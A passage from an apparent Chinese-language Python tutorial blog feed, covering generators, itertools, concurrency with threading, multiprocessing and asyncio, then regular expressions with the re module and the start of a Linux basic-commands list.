        if self.start &amp;lt;= 0:
            raise StopIteration
        self.start -= 1
        return self.start + 1

for n in Countdown(3):
    print(n)                 # 3 2 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;生成器（Generator）&lt;/h3&gt;
&lt;p&gt;生成器是一种&lt;strong&gt;惰性求值&lt;/strong&gt;的迭代器，用 &lt;code&gt;yield&lt;/code&gt; 关键字，能按需产生数据、节省内存，处理大数据流的神器。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 生成器函数：含 yield，调用不立即执行，返回生成器对象
def countdown(n):
    while n &amp;gt; 0:
        yield n              # 每次 yield 暂停并返回值
        n -= 1

gen = countdown(3)
print(next(gen))             # 1 次执行到第一个 yield → 3
print(next(gen))             # 从上次暂停处继续 → 2

for n in countdown(3):
    print(n)                 # 3 2 1

# 生成器表达式（把列表推导式的 [] 换成 ()）
squares_list = [x**2 for x in range(1000000)]   # 立即生成，占内存
squares_gen = (x**2 for x in range(1000000))    # 惰性，几乎不占内存
print(sum(x**2 for x in range(100)))            # 直接用在聚合里
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
&lt;strong&gt;列表推导式 vs 生成器表达式&lt;/strong&gt;：&lt;code&gt;[x for x in ...]&lt;/code&gt; 一次性生成所有元素存内存；&lt;code&gt;(x for x in ...)&lt;/code&gt; 惰性生成，用多少算多少。数据量大或只需遍历一次时，用生成器省内存。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;无限序列与管道&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 生成器可以表示无限序列（列表不行）
def fib():
    a, b = 0, 1
    while True:              # 无限，但惰性，不会撑爆内存
        yield a
        a, b = b, a + b

# 取前 10 个
import itertools
print(list(itertools.islice(fib(), 10)))   # [0,1,1,2,3,5,8,13,21,34]

# 生成器管道（流式处理，逐条流过）
def read_lines(path):
    with open(path) as f:
        for line in f:
            yield line.strip()

def filter_errors(lines):
    for line in lines:
        if &quot;ERROR&quot; in line:
            yield line

# 组合成管道，内存中永远只有一条数据
# errors = filter_errors(read_lines(&quot;big.log&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;itertools 常用工具&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import itertools

# 计数 / 循环
itertools.count(10, 2)          # 10,12,14... 无限
itertools.cycle(&quot;AB&quot;)           # A,B,A,B... 无限

# 组合
list(itertools.permutations([1,2,3], 2))   # 排列
list(itertools.combinations([1,2,3], 2))   # 组合 [(1,2),(1,3),(2,3)]
list(itertools.product([1,2], &quot;ab&quot;))       # 笛卡尔积

# 链接 / 分组
list(itertools.chain([1,2], [3,4]))        # [1,2,3,4]
list(itertools.accumulate([1,2,3,4]))      # 累加 [1,3,6,10]
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;三、并发编程&lt;/h2&gt;
&lt;h3&gt;GIL 与三种并发方式的选择&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
Python 有 &lt;strong&gt;GIL（全局解释器锁）&lt;/strong&gt;：同一时刻只有一个线程执行 Python 字节码。所以&lt;strong&gt;多线程无法利用多核做 CPU 密集计算&lt;/strong&gt;。这是选型的关键。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;场景&lt;/th&gt;
&lt;th&gt;推荐方式&lt;/th&gt;
&lt;th&gt;原因&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CPU 密集&lt;/strong&gt;（计算、图像处理）&lt;/td&gt;
&lt;td&gt;多进程 multiprocessing&lt;/td&gt;
&lt;td&gt;绕过 GIL，利用多核&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IO 密集&lt;/strong&gt;（网络、文件、数据库）&lt;/td&gt;
&lt;td&gt;多线程 / 异步 IO&lt;/td&gt;
&lt;td&gt;IO 等待时释放 GIL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;海量并发 IO&lt;/strong&gt;（上万连接）&lt;/td&gt;
&lt;td&gt;异步 IO asyncio&lt;/td&gt;
&lt;td&gt;单线程高并发，开销小&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;多线程（threading）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import threading
import time

def task(name):
    print(f&quot;{name} 开始&quot;)
    time.sleep(2)              # 模拟 IO
    print(f&quot;{name} 结束&quot;)

# 创建并启动线程
t1 = threading.Thread(target=task, args=(&quot;线程1&quot;,))
t2 = threading.Thread(target=task, args=(&quot;线程2&quot;,))
t1.start()
t2.start()
t1.join()                      # 等待线程结束
t2.join()

# 线程池（推荐，管理更方便）
from concurrent.futures import ThreadPoolExecutor

def download(url):
    time.sleep(1)
    return f&quot;{url} 完成&quot;

with ThreadPoolExecutor(max_workers=5) as pool:
    results = pool.map(download, [&quot;url1&quot;, &quot;url2&quot;, &quot;url3&quot;])
    print(list(results))

# 线程安全：用锁保护共享数据
lock = threading.Lock()
counter = 0
def increment():
    global counter
    with lock:                 # 加锁，防止竞态
        counter += 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;多进程（multiprocessing）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from multiprocessing import Pool, cpu_count
import time

# CPU 密集任务，用多进程真正并行
def heavy_compute(n):
    return sum(i * i for i in range(n))

if __name__ == &quot;__main__&quot;:     # Windows 下多进程必须放在这里！
    with Pool(processes=cpu_count()) as pool:
        results = pool.map(heavy_compute, [10**6] * 4)
    print(results)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
Windows 下多进程代码必须放在 &lt;code&gt;if __name__ == &quot;__main__&quot;:&lt;/code&gt; 里，否则子进程会无限递归导入主模块导致报错。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;异步 IO（asyncio）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import asyncio

# async def 定义协程，await 等待异步操作
async def fetch(name, seconds):
    print(f&quot;{name} 开始&quot;)
    await asyncio.sleep(seconds)      # 非阻塞等待
    print(f&quot;{name} 完成&quot;)
    return name

async def main():
    # 并发执行多个协程
    tasks = [
        fetch(&quot;A&quot;, 2),
        fetch(&quot;B&quot;, 1),
        fetch(&quot;C&quot;, 3),
    ]
    results = await asyncio.gather(*tasks)   # 一起跑，总耗时≈最长的那个(3s)
    print(results)

asyncio.run(main())            # 启动事件循环

# 配合 aiohttp 做异步网络请求（爬虫高并发）
# import aiohttp
# async def get(url):
#     async with aiohttp.ClientSession() as session:
#         async with session.get(url) as resp:
#             return await resp.text()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;三种方式对比&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;多线程：
  - 适合 IO 密集，共享内存，开销中等
  - 受 GIL 限制，CPU 密集无效
  - 注意线程安全（锁）

多进程：
  - 适合 CPU 密集，真正并行，进程隔离
  - 开销大（进程创建 + 数据传递）
  - 进程间通信较复杂

异步 IO：
  - 适合海量 IO 并发，单线程，开销极小
  - 需要 async/await 语法 + 异步库支持
  - 一处阻塞会拖垮整个事件循环
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;四、Web 前端入门（概览）&lt;/h2&gt;
&lt;p&gt;后端开发者也需要了解前端基础，才能做全栈或前后端分离。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- HTML：承载页面内容（结构） --&amp;gt;
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;标题&amp;lt;/title&amp;gt;
    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;style.css&quot;&amp;gt;   &amp;lt;!-- CSS --&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;h1 id=&quot;title&quot;&amp;gt;Hello&amp;lt;/h1&amp;gt;
    &amp;lt;button onclick=&quot;sayHi()&quot;&amp;gt;点击&amp;lt;/button&amp;gt;
    &amp;lt;script src=&quot;app.js&quot;&amp;gt;&amp;lt;/script&amp;gt;             &amp;lt;!-- JavaScript --&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;/* CSS：渲染页面（样式） */
#title {
    color: blue;
    font-size: 24px;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// JavaScript：处理交互行为（行为）
function sayHi() {
    alert(&quot;Hi!&quot;);
}
// 用 fetch 调用后端 API
fetch(&quot;/api/data&quot;)
    .then(res =&amp;gt; res.json())
    .then(data =&amp;gt; console.log(data));
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
&lt;strong&gt;前端三剑客&lt;/strong&gt;：HTML（结构）、CSS（样式）、JavaScript（行为）。现代开发常用 &lt;strong&gt;Vue.js / React&lt;/strong&gt; 框架 + Element/Ant Design 等 UI 组件库。Python 后端做前后端分离时，通常用 DRF 提供 JSON API，前端用 Vue/React 渲染。详见 Day53（前后端分离）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;常见问题 Q&amp;amp;A&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1：生成器和普通函数最大的区别？&lt;/strong&gt;
A：普通函数 &lt;code&gt;return&lt;/code&gt; 后结束、一次性返回全部结果；生成器用 &lt;code&gt;yield&lt;/code&gt;，每次调用 &lt;code&gt;next()&lt;/code&gt; 执行到 yield 就&lt;strong&gt;暂停并保留状态&lt;/strong&gt;，下次从暂停处继续。它是惰性的，省内存，能表示无限序列。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2：GIL 到底是什么？能去掉吗？&lt;/strong&gt;
A：GIL 是 CPython 的全局解释器锁，保证同一时刻只有一个线程执行 Python 字节码，简化了内存管理但限制了多线程并行。CPython 无法去掉（可用 Jython 无 GIL，但生态差）。绕过方法：CPU 密集用多进程，或用 C 扩展/Numba 在计算时释放 GIL。（注：Python 3.13+ 正在试验无 GIL 的 free-threaded 模式）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3：多线程在 Python 里就没用了吗？&lt;/strong&gt;
A：不是。&lt;strong&gt;IO 密集&lt;/strong&gt;（网络请求、文件读写、数据库）场景多线程非常有效，因为 IO 等待时会释放 GIL。只是 &lt;strong&gt;CPU 密集&lt;/strong&gt;计算多线程无法加速，那要用多进程。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q4：&lt;code&gt;asyncio&lt;/code&gt; 和多线程怎么选？&lt;/strong&gt;
A：并发量小（几十上百）用多线程更简单；海量并发 IO（上千上万连接，如爬虫）用 asyncio，单线程就能扛，开销远小于线程。但异步需要全链路用异步库（aiohttp 而非 requests）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q5：迭代器、生成器、可迭代对象的关系？&lt;/strong&gt;
A：可迭代对象（Iterable，有 &lt;code&gt;__iter__&lt;/code&gt;）能被 for 遍历；迭代器（Iterator，有 &lt;code&gt;__iter__&lt;/code&gt; 和 &lt;code&gt;__next__&lt;/code&gt;）能被 next() 取值；生成器是一种特殊的迭代器（用 yield 或生成器表达式创建），写法最简洁。生成器一定是迭代器，迭代器一定可迭代。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q6：&lt;code&gt;yield&lt;/code&gt; 和 &lt;code&gt;return&lt;/code&gt; 能共存吗？&lt;/strong&gt;
A：能。函数里只要有 &lt;code&gt;yield&lt;/code&gt; 它就是生成器函数。&lt;code&gt;return&lt;/code&gt; 在生成器里表示&lt;strong&gt;提前结束&lt;/strong&gt;迭代（可带值，会被 &lt;code&gt;StopIteration&lt;/code&gt; 携带），但不会像普通函数那样返回值给调用者。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;本篇速记&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;数据结构&lt;/strong&gt;：栈/队列用 &lt;code&gt;deque&lt;/code&gt;，堆用 &lt;code&gt;heapq&lt;/code&gt;，计数用 &lt;code&gt;Counter&lt;/code&gt;，默认字典 &lt;code&gt;defaultdict&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;复杂度&lt;/strong&gt;：字典/集合查找 O(1)，二分 O(log n)，遍历 O(n)，高效排序 O(n log n)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;迭代器协议&lt;/strong&gt;：&lt;code&gt;__iter__&lt;/code&gt; + &lt;code&gt;__next__&lt;/code&gt;，结束抛 &lt;code&gt;StopIteration&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生成器&lt;/strong&gt;：&lt;code&gt;yield&lt;/code&gt; 惰性求值、省内存、可无限；&lt;code&gt;(x for x in ...)&lt;/code&gt; 是生成器表达式&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GIL&lt;/strong&gt;：同一时刻只一个线程跑字节码 → CPU 密集用多进程，IO 密集用多线程/异步&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多线程&lt;/strong&gt;：&lt;code&gt;ThreadPoolExecutor&lt;/code&gt; + &lt;code&gt;pool.map&lt;/code&gt;，共享数据加 &lt;code&gt;Lock&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多进程&lt;/strong&gt;：&lt;code&gt;multiprocessing.Pool&lt;/code&gt;，Windows 必须放 &lt;code&gt;if __name__==&quot;__main__&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;异步&lt;/strong&gt;：&lt;code&gt;async def&lt;/code&gt; + &lt;code&gt;await&lt;/code&gt;，&lt;code&gt;asyncio.gather&lt;/code&gt; 并发，&lt;code&gt;asyncio.run&lt;/code&gt; 启动&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;前端三剑客&lt;/strong&gt;：HTML 结构 + CSS 样式 + JS 行为，框架用 Vue/React&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;itertools&lt;/strong&gt;：&lt;code&gt;chain/product/combinations/islice/accumulate&lt;/code&gt; 高效迭代工具&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/python-roadmap-08-mysql/&quot;&gt;数据库与 MySQL&lt;/a&gt; 将讲解关系型数据库、SQL 四大类（DDL/DML/DQL/DCL）、索引原理与优化、Python 接入 MySQL，以及 Hive 大数据查询入门。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/python-roadmap-00-overview/&quot;&gt;Python 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/python-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>正则表达式与 Linux</title><link>http://117.72.32.87/blog/posts/python-roadmap-06-regex-linux/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/python-roadmap-06-regex-linux/</guid><description>正则表达式语法与 Python re 模块实战（输入验证、内容提取、替换、拆分），以及 Linux 操作系统基础：常用命令、文件系统、Vim、环境变量、Shell 编程与网络管理。</description><pubDate>Fri, 18 Sep 2026 04:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文对应仓库 &lt;strong&gt;Day30（正则表达式）和 Day33（玩转 Linux）&lt;/strong&gt;。正则是文本处理的利器（爬虫、数据清洗必备），Linux 是后端/运维的操作系统基础。两者都是 Python 开发者的必修课。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h1&gt;第一部分：正则表达式&lt;/h1&gt;
&lt;h2&gt;一、正则语法基础&lt;/h2&gt;
&lt;p&gt;正则表达式（Regular Expression）是用来&lt;strong&gt;匹配字符串模式&lt;/strong&gt;的强大工具。&lt;/p&gt;
&lt;h3&gt;元字符与字符类&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;符号&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;th&gt;示例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;.&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;任意单个字符（除换行）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;a.c&lt;/code&gt; 匹配 abc、aXc&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\d&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;数字 [0-9]&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\d\d&lt;/code&gt; 匹配 12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\D&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;非数字&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\w&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;单词字符 [a-zA-Z0-9_]&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\W&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;非单词字符&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\s&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;空白（空格/制表/换行）&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\S&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;非空白&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[abc]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;字符集，匹配其中之一&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[aeiou]&lt;/code&gt; 匹配元音&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[^abc]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;取反，不匹配集合内&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[a-z]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;范围&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;量词（重复次数）&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;符号&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0 次或多次&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1 次或多次&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;?&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0 次或 1 次&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;{n}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;恰好 n 次&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;{n,}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;至少 n 次&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;{n,m}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;n 到 m 次&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;位置锚点与分组&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;符号&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;^&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;字符串开头&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;字符串结尾&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;单词边界&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;分组（捕获）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;(?:)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;非捕获分组&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;|&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;或（a|b）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;转义（&lt;code&gt;\\.&lt;/code&gt; 匹配点号）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
&lt;strong&gt;贪婪 vs 非贪婪&lt;/strong&gt;：量词默认贪婪（尽量多匹配），加 &lt;code&gt;?&lt;/code&gt; 变非贪婪（尽量少匹配）。如 &lt;code&gt;&amp;lt;.+&amp;gt;&lt;/code&gt; 匹配整个 &lt;code&gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&lt;/code&gt;，而 &lt;code&gt;&amp;lt;.+?&amp;gt;&lt;/code&gt; 分别匹配 &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; 和 &lt;code&gt;&amp;lt;b&amp;gt;&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;二、Python re 模块&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import re

# match：从字符串开头匹配
m = re.match(r&quot;\d+&quot;, &quot;123abc&quot;)
print(m.group() if m else None)     # 123

# search：搜索整个字符串，返回第一个匹配
m = re.search(r&quot;\d+&quot;, &quot;abc123def&quot;)
print(m.group())                    # 123

# findall：返回所有匹配的列表
nums = re.findall(r&quot;\d+&quot;, &quot;a1b22c333&quot;)
print(nums)                         # [&apos;1&apos;, &apos;22&apos;, &apos;333&apos;]

# finditer：返回迭代器（大量匹配时更省内存）
for m in re.finditer(r&quot;\d+&quot;, &quot;a1b2&quot;):
    print(m.group(), m.span())      # 1 (1,2)  2 (3,4)

# sub：替换
result = re.sub(r&quot;\d+&quot;, &quot;#&quot;, &quot;a1b2&quot;)
print(result)                       # a#b#

# subn：替换并返回次数
result, count = re.subn(r&quot;\d&quot;, &quot;#&quot;, &quot;a1b2&quot;)   # (&apos;a#b#&apos;, 2)

# split：按模式拆分
parts = re.split(r&quot;[,\s]+&quot;, &quot;a, b   c,d&quot;)
print(parts)                        # [&apos;a&apos;, &apos;b&apos;, &apos;c&apos;, &apos;d&apos;]

# compile：预编译（重复使用同一模式时更高效）
pattern = re.compile(r&quot;\d+&quot;)
print(pattern.findall(&quot;1a2b3&quot;))     # [&apos;1&apos;, &apos;2&apos;, &apos;3&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;分组提取&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 用 () 分组，group(n) 取第 n 组
text = &quot;2026-09-18&quot;
m = re.match(r&quot;(\d{4})-(\d{2})-(\d{2})&quot;, text)
print(m.group())      # 2026-09-18（整体，group(0)）
print(m.group(1))     # 2026（年）
print(m.group(2))     # 09（月）
print(m.groups())     # (&apos;2026&apos;, &apos;09&apos;, &apos;18&apos;)

# 命名分组 (?P&amp;lt;name&amp;gt;...)
m = re.match(r&quot;(?P&amp;lt;year&amp;gt;\d{4})-(?P&amp;lt;month&amp;gt;\d{2})&quot;, text)
print(m.group(&quot;year&quot;))       # 2026
print(m.groupdict())         # {&apos;year&apos;: &apos;2026&apos;, &apos;month&apos;: &apos;09&apos;}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;常用标志（flags）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;re.IGNORECASE  # re.I  忽略大小写
re.MULTILINE   # re.M  多行模式（^ $ 匹配每行）
re.DOTALL      # re.S  让 . 也匹配换行
re.VERBOSE     # re.X  允许正则中写注释和空白

# 用法
re.findall(r&quot;python&quot;, text, re.IGNORECASE)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;三、正则实战例子&lt;/h2&gt;
&lt;h3&gt;例1：输入验证&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import re

def is_valid_phone(s):
    &quot;&quot;&quot;中国大陆手机号：1 开头，第二位 3-9，共 11 位&quot;&quot;&quot;
    return bool(re.fullmatch(r&quot;1[3-9]\d{9}&quot;, s))

def is_valid_email(s):
    &quot;&quot;&quot;邮箱&quot;&quot;&quot;
    return bool(re.fullmatch(r&quot;[\w.-]+@[\w-]+(\.[\w-]+)+&quot;, s))

def is_valid_id_card(s):
    &quot;&quot;&quot;18 位身份证（最后一位可能是 X）&quot;&quot;&quot;
    return bool(re.fullmatch(r&quot;\d{17}[\dXx]&quot;, s))

def is_strong_password(s):
    &quot;&quot;&quot;强密码：至少 8 位，含大小写字母和数字&quot;&quot;&quot;
    return bool(re.fullmatch(r&quot;(?=.*[a-z])(?=.*[A-Z])(?=.*\d).{8,}&quot;, s))

print(is_valid_phone(&quot;13800138000&quot;))    # True
print(is_valid_email(&quot;a@b.com&quot;))        # True
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;code&gt;fullmatch&lt;/code&gt; 要求整个字符串完全匹配；&lt;code&gt;match&lt;/code&gt; 只要求开头匹配；&lt;code&gt;search&lt;/code&gt; 找任意位置。做输入验证优先用 &lt;code&gt;fullmatch&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;例2：内容提取&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 从 HTML 提取所有链接
html = &apos;&amp;lt;a href=&quot;http://a.com&quot;&amp;gt;A&amp;lt;/a&amp;gt;&amp;lt;a href=&quot;http://b.com&quot;&amp;gt;B&amp;lt;/a&amp;gt;&apos;
links = re.findall(r&apos;href=&quot;(.*?)&quot;&apos;, html)
print(links)     # [&apos;http://a.com&apos;, &apos;http://b.com&apos;]

# 从日志提取 IP 和时间
log = &apos;192.168.1.1 - - [18/Sep/2026:10:00:00] &quot;GET /index&quot;&apos;
m = re.search(r&quot;(\d+\.\d+\.\d+\.\d+).*?\[(.*?)\]&quot;, log)
if m:
    print(m.group(1), m.group(2))    # 192.168.1.1  18/Sep/2026:10:00:00
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;例3：内容替换（脱敏）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 手机号中间四位脱敏
phone = &quot;联系电话 13800138000&quot;
safe = re.sub(r&quot;(1[3-9]\d)\d{4}(\d{4})&quot;, r&quot;\1****\2&quot;, phone)
print(safe)     # 联系电话 138****8000

# 用函数做替换（更灵活）
def double(m):
    return str(int(m.group()) * 2)
result = re.sub(r&quot;\d+&quot;, double, &quot;a1b2c3&quot;)   # a2b4c6
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;例4：长句拆分&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 按多种标点拆分句子
text = &quot;你好。今天天气不错！我们去公园吧？好啊,走。&quot;
sentences = re.split(r&quot;[。！？，,]+&quot;, text)
print([s for s in sentences if s])   # 过滤空串
# [&apos;你好&apos;, &apos;今天天气不错&apos;, &apos;我们去公园吧&apos;, &apos;好啊&apos;, &apos;走&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;第二部分：玩转 Linux&lt;/h1&gt;
&lt;h2&gt;四、Linux 基础命令&lt;/h2&gt;
&lt;h3&gt;文件与目录操作&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;pwd                     # 显示当前目录
ls -l                   # 详细列出文件（-a 显示隐藏，-h 人类可读大小）
cd /home                # 切换目录（cd ~ 回家目录，cd - 回上一个）

mkdir project           # 创建目录（mkdir -p a/b/c 递归创建）
touch file.txt          # 创建空文件
cp src dst              # 复制（cp -r 目录递归复制）
mv old new              # 移动/重命名
rm file                 # 删除（rm -r 目录，rm -f 强制，慎用 rm -rf）

cat file                # 查看全部内容
head -n 20 file         # 看前 20 行
